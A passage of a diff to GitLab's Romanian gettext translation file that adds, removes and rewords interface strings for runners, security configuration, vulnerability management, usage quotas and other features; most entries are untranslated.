+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29854,6 +30364,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29863,6 +30376,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29893,12 +30409,18 @@ msgstr "Ceva nu a mers bine în timpul preluării datelor executorilor."
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr "Opriți executorul din a accepta noi joburi."
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr "Acest executor este asociat cu unul sau mai multe proiecte."
@@ -29956,21 +30478,27 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
-msgstr "instanță"
+msgid "Runners|group"
+msgstr ""
msgid "Runners|locked"
msgstr "blocat"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
msgid "Runners|paused"
msgstr "întrerupt"
-msgid "Runners|project"
-msgstr "proiect"
-
msgid "Runners|shared"
msgstr ""
@@ -30049,21 +30577,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr "Adăugați Testare de Securitate"
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr "Prindeți vulnerabilitățile dvs. de securitate înainte să fie prea târziu!"
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr "GitLab vă poate scana codul pentru vulnerabilități de securitate. Testarea de Securitate Statică Aplicație (SAST) vă ajută să vă faceți mai puține griji și să construiți mai mult."
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr "Cum setez SAST?"
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30451,6 +30964,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr "Token sigur care identifică o solicitare stocare externă."
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30475,6 +30991,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30523,7 +31042,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30538,7 +31057,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30550,7 +31069,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30610,6 +31129,9 @@ msgstr "Securizați-vă proiectul"
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30619,6 +31141,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr "Detalii vulnerabilitate și statistici în cererea de îmbinare"
@@ -30643,6 +31168,12 @@ msgstr "Toate politicile"
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr "A apărut o eroare la desemnarea proiectului dvs. al politicii de securitate"
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr "Descriere"
@@ -30712,7 +31243,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30721,6 +31255,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr "Proiectul politicii de securitate a fost conectat cu succes"
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr "Selectați un proiect în care veți stoca politicile de securitate. %{linkStart}Mai multe informații.%{linkEnd}"
@@ -30742,6 +31279,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30961,7 +31504,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30994,6 +31537,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31132,6 +31678,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31336,9 +31885,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31438,7 +31984,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31450,6 +32005,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr "Ping serviciu este dezactivat în fișierul dvs. de configurație și nu poate fi activat prin acest formular."
@@ -31495,6 +32053,9 @@ msgstr "Activați ping serviciu"
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr "Porniți ping serviciu pentru a revizui analitici la nivel instanță."
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31576,6 +32137,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31633,9 +32197,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31711,9 +32272,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31780,6 +32338,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31795,6 +32374,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31843,18 +32425,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32221,6 +32794,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32305,9 +32884,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Ceva nu a mers bine în timpul preluării mediilor pentru acest merge request. Vă rugăm încercați din nou."
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32584,9 +33160,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32605,6 +33178,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32758,9 +33358,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32905,6 +33502,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32926,7 +33526,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32935,6 +33535,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32956,6 +33559,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32971,6 +33580,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33958,10 +34570,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34219,7 +34831,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34255,7 +34867,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34462,9 +35077,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34597,9 +35209,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34654,6 +35263,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34750,9 +35362,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr "Există migrații căutare avansată în așteptare care necesită indexarea să fie întreruptă. Indexarea trebuie să rămână întreruptă până când migrațiile sunt completate."
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34765,9 +35374,6 @@ msgstr "Există mai multe limite de rată pentru a proteja sistemul."
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35143,6 +35749,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Acest commit face parte din merge request-ul %{link_to_merge_request}. Comentariile create aici vor fi create în contextul acelui merge request."
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35161,12 +35770,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35215,6 +35818,12 @@ msgstr "Acest câmp este obligatoriu"
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35269,12 +35878,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35284,6 +35896,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35419,9 +36034,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35464,6 +36076,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35563,7 +36178,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36109,6 +36724,9 @@ msgstr "Pentru a vedea detaliile operaționale ale acestui proiect, faceți %{li
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36133,6 +36751,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr "Pentru a folosi formate suplimentare, trebuie să porniți %{container_link_start}containerele însoțitoare%{container_link_end}."
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36238,10 +36859,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36262,9 +36883,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36325,6 +36943,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36496,7 +37117,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36553,6 +37174,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36751,9 +37378,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36859,6 +37483,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr "Utilizator necunoscut"
@@ -36943,9 +37570,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37054,6 +37678,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37096,6 +37723,9 @@ msgstr "încărcați o imagine"
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37105,9 +37735,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr "După efectuarea acestei acțiuni, conținutul acestui grup, al subgrupului său și proiectele vor fi șterse permanent după %{deletion_adjourned_period} zile pe %{date}. Până atunci:"
@@ -37120,9 +37747,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37177,12 +37801,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37192,9 +37810,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37207,9 +37831,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37243,18 +37864,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37300,9 +37909,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37495,9 +38101,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37801,9 +38404,6 @@ msgstr ""
msgid "Username"
msgstr "Nume utilizator"
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38029,6 +38629,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38053,6 +38665,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38152,6 +38767,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38263,6 +38881,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38275,9 +38896,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38293,6 +38911,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38302,7 +38923,10 @@ msgstr "Nu s-a putut procesa %{issueReference}: %{errorMessage}."
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38314,6 +38938,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38338,9 +38965,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38353,10 +38986,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38530,7 +39163,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38836,6 +39469,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38848,7 +39484,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39022,6 +39658,12 @@ msgstr ""
